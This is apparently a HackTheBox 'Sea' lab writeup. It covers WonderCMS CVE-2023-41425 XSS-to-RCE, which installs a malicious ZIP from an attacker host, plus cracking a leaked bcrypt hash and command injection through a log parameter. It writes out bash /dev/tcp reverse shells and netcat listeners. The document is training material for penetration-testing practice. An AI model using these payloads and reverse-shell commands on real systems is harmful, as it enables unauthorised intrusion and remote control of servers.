> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/sea-hackthebox-writeup.md). # Sea HackTheBox Writeup Sea HackTheBox Easy Linux machine writeup covering Wonder CMS Exploitation, CSRF Vulnerability, (XSS to RCE), Port Forwarding, with practical enumeration, exploitation, foothold, and privilege escalat {% embed url="" %} {% hint style="warning" %} **Skills**: * Wonder CMS Exploitation * CSRF Vulnerability * (XSS to RCE) * Port Forwarding * (LFI - RCE) Log Poisoning Vulnerability {% endhint %} ## Reconnaissance **Workspace Setup:** Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

**VPN Connectivity Check** Check VPN connectivity to ensure stable communication with the target machine.

**Open Port Discovery with Nmap:** Enumerate open ports and export the results to the "allPorts" file in the Nmap directory: ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.28 -oG allPorts ```

**Open Port Analysis with extractPorts:** Use the extractPorts function to display open ports in a concise format and copy them to the clipboard (22.80)

**Port Version Scan with Nmap:** Use Nmap to scan service versions and save the output in the "targeted" file: ```bash nmap -sCV -p80,22 10.10.11.28 -oN targeted ```

To resolve domain names into IP addresses via DNS, insert the domain name associated with its IP address into the `/etc/hosts` file.

**Discovery of a contact site:**

**Checking communications between the server and the site:**/ We found a part of the site dedicated to contacts. We check if the server is sending frames to this site.

**Reception of a frame on our web server:**/ To capture this frame, we set up a simple HTTP server with Python: ```bash python3 -m http.server 555 ```

**Intercepting the request with** [burpsuite ](/hacking-tools/web/burpsuite.md)**:**/ We intercept the request with Burp Suite to analyze the communications. ## **Possible** [**SSRF**](/web/ssrf.md)**:** #### We attempt to list internal services using an SSRF attack, by modifying the query parameter: ```bash &website=http:127.0.0.1 ```

**Discovery of internal ports with Intruder:**/ We use Burp Suite Intruder to perform a brute force attack and discover open internal ports.

**Filtering responses:**/ We filter responses based on their size to identify which ones are relevant but all are the same.

## WonderCMS Vulnerability ([CSRF](/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-cross-site-request-forgery-csrf.md)): (XSS to RCE) **Directory search:**/ We use Gobuster to search directories on the site: ```bash gobuster dir -u http://sea.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 ``` This returns us the **/themes** directory with a 301 redirect code.

**Exploring the themes directory:**/ We continue the search by adding the discovered path to the URL and exploring the **/themes** directory ```bash gobuster dir -u http://sea.htb/themes/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 ``` We find the **/bike** subdirectory.

**Filtering by File Extensions:**/ We use *ffuf* to filter files with certain extensions (php, html, png, etc.) in the **/bike** directory: ```bash ffuf -c -w /usr/share/SecLists/Discovery/Web-Content/quickhits.txt -u "http://sea.htb/themes/bike/FUZZ" -t 200 -fc 403 ``` This command allows us to find a file named **README.md**

We find a `README.md` file which indicates that the server uses a theme called "WONDER", which is a CMS.

While searching for vulnerabilities related to this CMS, we discovered a flaw allowing remote code execution (RCE) via XSS injection. {% embed url="" %} **JavaScript code to get a shell:**/ The following JavaScript code downloads a malicious ZIP file containing a reverse shell script and then executes it on the server: ```javascript // the server has some issue resolving domain name with JavaScript // we can just provide the target URL as required parameter var whateverURL = "http://sea.htb"; var token = document.querySelectorAll('[name="token"]')[0].value; // modify the ZIP file path serving on HTTP server var urlRev = whateverURL+"/?installModule=http://10.10.14.89:8000/whatever.zip&directoryName=violet&type=themes&token=" + token; var xhr3 = new XMLHttpRequest(); xhr3.withCredentials = true; xhr3.open("GET", urlRev); xhr3.send(); xhr3.onload = function() { if (xhr3.status == 200) { var xhr4 = new XMLHttpRequest(); xhr4.withCredentials = true; // visit rev.php inside the uploaded ZIP file xhr4.open("GET", whateverURL+"/themes/whatever/rev.php"); xhr4.send(); xhr4.onload = function() { if (xhr4.status == 200) { var ip = "10.10.14.89"; var port = "4444"; var xhr5 = new XMLHttpRequest(); xhr5.withCredentials = true; // trigger reverse shell script and provide listener ip & port xhr5.open("GET", whateverURL+"/themes/whatever/rev.php?lhost=" + ip + "&lport=" + port); xhr5.send(); } }; } }; ``` **Installation of exploit script for vulnerability (CVE-2023-41425):** ```bash git clone https://github.com/prodigiousMind/CVE-2023-41425 cd CVE-2023-41425 ``` We run the exploitation script: ```bash python3 exploit.py http://sea.htb/loginURL 10.10.14.89 4444 ``` The script above sends a request to our server on port 8000 via a `xss.js` file, granting us RCE access and control of the target machine.

**Final step:** We need to send the XSS link to the admin via the `contact.php` form to trick them into clicking on the malicious link: {% code fullWidth="true" %} ``` http://sea.htb/index.php?page=loginURL?">

**Listening with Netcat:**/ We listen on port 4444: ```bash nc -nlvp 4444 ```

#### Once you have access to the Linux server, use the following commands to stabilize the terminal ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` #### Stabilize the shell for more comfortable work. ## Privilege Escalation: As user *www-data*, we will filter the content using the `find` command to search only for files containing the word "**password**" in the web server directory `/var/www/sea`. ```bash find /var/www/sea -type f -exec grep -Hn "password" {} / ``` We find an encrypted password in the `database.js` file: `$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ/D.GuE4jRIikYiWrD3TM/PjDnXm4q`

To crack this password, we use the **John the Ripper** tool with the `rockyou.txt` dictionary file: ```bash john --wordlist=/usr/share/wordlists/rockyou.txt hash ```

The decrypted password is mychemicalromance We will now try to connect with the two users available in the system: "geo" and "amays".

The password for user **amays** is correct. ### Flag user.txt

Analyzing internal network communications, we found that port 8080 was in use: ```bash netstat -ano netstat -nltp ```

We will therefore redirect server port 8080 to our attacking machine via SSH using port forwarding, from port 8888: ```bash ssh -L 8888:localhost:8080 amay@10.10.11.28 ``` Once connected, we find a login panel.

With the user credentials `amay`: `mychemicalromance`, we manage to connect to a monitoring system.

We can observe the connection logs of `root`.

By intercepting the request with Burp Suite, we notice that it displays the contents of the `/var/log/apache2/access.log` file in a more structured way.

This file can only be opened by the user `root`.

### Vulnerability [(LFI - RCE) Log Poisoning](/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-to-remote-code-execution-lfi-to-rce.md): If we try to list a file like `/etc/passwd`, for example: ``` log_file=/etc/passwd &analyze_log=/etc/passwd ``` The file is listed:)

We will then try to read the file containing the `root` flag and we observe that it is possible to execute commands (like `id`): ```bash log_file=/root/root.txt;id;----&analyze_log=/root/root.txt ```

### **Full access (reverse shell):** To obtain a reverse shell, we execute the following command: {% code fullWidth="false" %} ```bash bash -c "bash -i >%26 /dev/tcp/192.168.71.128/443 0>%261" ``` {% endcode %} {% code overflow="wrap" fullWidth="true" %} ``` log_file=/root/root.txt;bash -c "bash -i >& /dev/tcp/10.10.14.89/443 0>&1";---&analyze_log=/root/root.txt ``` {% endcode %} Then, we listen with `nc`: ```bash nc -nvlp 443 ``` ### Flag root :)

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